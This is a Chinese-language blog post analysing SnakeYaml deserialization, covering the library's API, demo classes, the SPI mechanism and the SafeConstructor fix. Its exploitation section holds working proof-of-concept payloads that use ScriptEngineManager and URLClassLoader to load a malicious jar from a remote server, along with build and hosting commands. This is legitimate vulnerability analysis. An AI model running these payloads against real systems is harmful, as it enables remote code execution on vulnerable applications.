前言
之前在复现若依的漏洞时,接触到了SnakeYaml
反序列化,现在分析一下漏洞触发的原理。
SnakeYaml 概述
简介
YAML
语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持YAML
的配置文件。SnakeYaml
是用来解析YAML
,将YAML
文档转换为JAVA对象,以及将JAVA对象序列化为YAML
文档。
使用
要在项目中使用SnakeYAML
,需要添加Maven依赖项
1 2 3 4 5
| <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
|
常用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| String dump(Object data) 将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) 将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) 将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) 将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) 将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) 将Java对象序列化为YAML字符串。 <T> T load(InputStream io) 解析流中唯一的YAML文档,并生成相应的Java对象。 <T> T load(Reader io) 解析流中唯一的YAML文档,并生成相应的Java对象。 <T> T load(String yaml) 解析字符串中唯一的YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) 解析流中的所有YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) 解析字符串中的所有YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) 解析字符串中的所有YAML文档,并生成相应的Java对象。
|
主要关注序列化函数和反序列化的函数
Yaml.load()
:入参是一个字符串或者一个文件,结果序列化之后返回一个JAVA对象。
Yaml.dump()
:将一个对象转化为YAML
文件格式。
序列化
User
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.test.yaml;
public class User { public String name;
public String getName() { return name; }
public void setName(String name) { this.name = name; } }
|
YamlDemo
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.test.yaml;
import org.yaml.snakeyaml.Yaml;
public class YamlDemo { public static void main(String[] args) { User l2sec = new User(); l2sec.setName("l2sec"); Yaml yaml = new Yaml(); String dump = yaml.dump(l2sec); System.out.println(dump); } }
|
运行结果
输出如下字符串
1
| !!com.test.yaml.User {name: l2sec}
|
这里的!!
类似于fastjson的@type
用于指定反序列化的全类名
反序列化
再新建一个Person类,在各个方法中添加了print输出,目的是测试在反序列化时会触发这个类中的哪些方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.test.yaml;
public class Person { public String name; public int age;
public String getName() { System.out.println("调用了getName方法"); return name; }
public void setName(String name) { System.out.println("调用了setName方法"); this.name = name; }
public int getAge() { System.out.println("调用了getAge方法"); return age; }
public void setAge(int age) { System.out.println("调用了setAge方法"); this.age = age; } }
|
在YamlDemo2中,通过!!
指定类名需要写全类名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.test.yaml;
import org.yaml.snakeyaml.Yaml;
public class YamlDemo2 { public static void main(String[] args) { Serialize(); Deserialize(); }
private static void Serialize(){ Person person = new Person(); person.setName("l2sec"); person.setAge(20); Yaml yaml = new Yaml(); String dump = yaml.dump(person); System.out.println(dump); } private static void Deserialize() { String className = "!!com.test.yaml.Person {age: 20, name: l2sec}"; Yaml yaml = new Yaml(); Person person = yaml.load(className); System.out.println(person.getAge()); } }
|
运行结果
输出如下
1 2 3 4 5 6 7 8
| 调用了构造方法 调用了setName方法 调用了setAge方法 !!com.test.yaml.Person {age: 20, name: l2sec}
调用了构造方法 调用了getAge方法 20
|
可以看到在序列化的时候触发set方法和构造方法。
反序列化漏洞分析
漏洞复现
运行下面POC代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.test.yaml;
import org.yaml.snakeyaml.Yaml;
public class YamlExploit { public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://e8c2f892.dns.1433.eu.org\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(context); } }
|
运行结果如下,成功触发dnslog
如果需要触发RCE,我们可以借用这个github项目,修改AwesomeScriptEngineFactory.java
的代码。在构造方法或者静态代码块中写好触发命令执行的代码即可。(一般针对出网环境)
修改好后,编译成class文件,并打包成jar
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
上传到vps上,开启一个http服务
1
| python3 -m http.server --cgi 8888
|
编写测试类YamlExploit
1 2 3 4 5 6 7 8 9 10 11 12
| package com.test.yaml;
import org.yaml.snakeyaml.Yaml;
public class YamlExploit { public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://ip:port/yaml-payload.jar\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(context); } }
|
运行结果如下
SPI机制
在漏洞分析前需要了解下SPI的机制,在上面的payload中看到是使用ScriptEngineManager
类来进行构造,ScriptEngineManager
利用的底层就是SPI机制。
SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要,其核心思想就是解耦。
当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。
影响版本
全版本
漏洞原理
根据前面的例子,我们可以知道YAML反序列化时可以通过!!
+全类名的方式指定要反序列化的类,反序列化时就会实例化该类,可以通过构造ScriptEngineManager
的payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI的方式加载远程并实例化恶意类,从而实现RCE。
漏洞修复
修复方案:加入new SafeConstructor()
类进行过滤
1 2
| Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context);
|
审计注意的点
在审计中其实就可以直接定位yaml.load();
,然后进行回溯,如若参数可控,那么就可以尝试传入payload。
参考
https://www.cnblogs.com/nice0e3/p/14514882.html
https://tttang.com/archive/1591/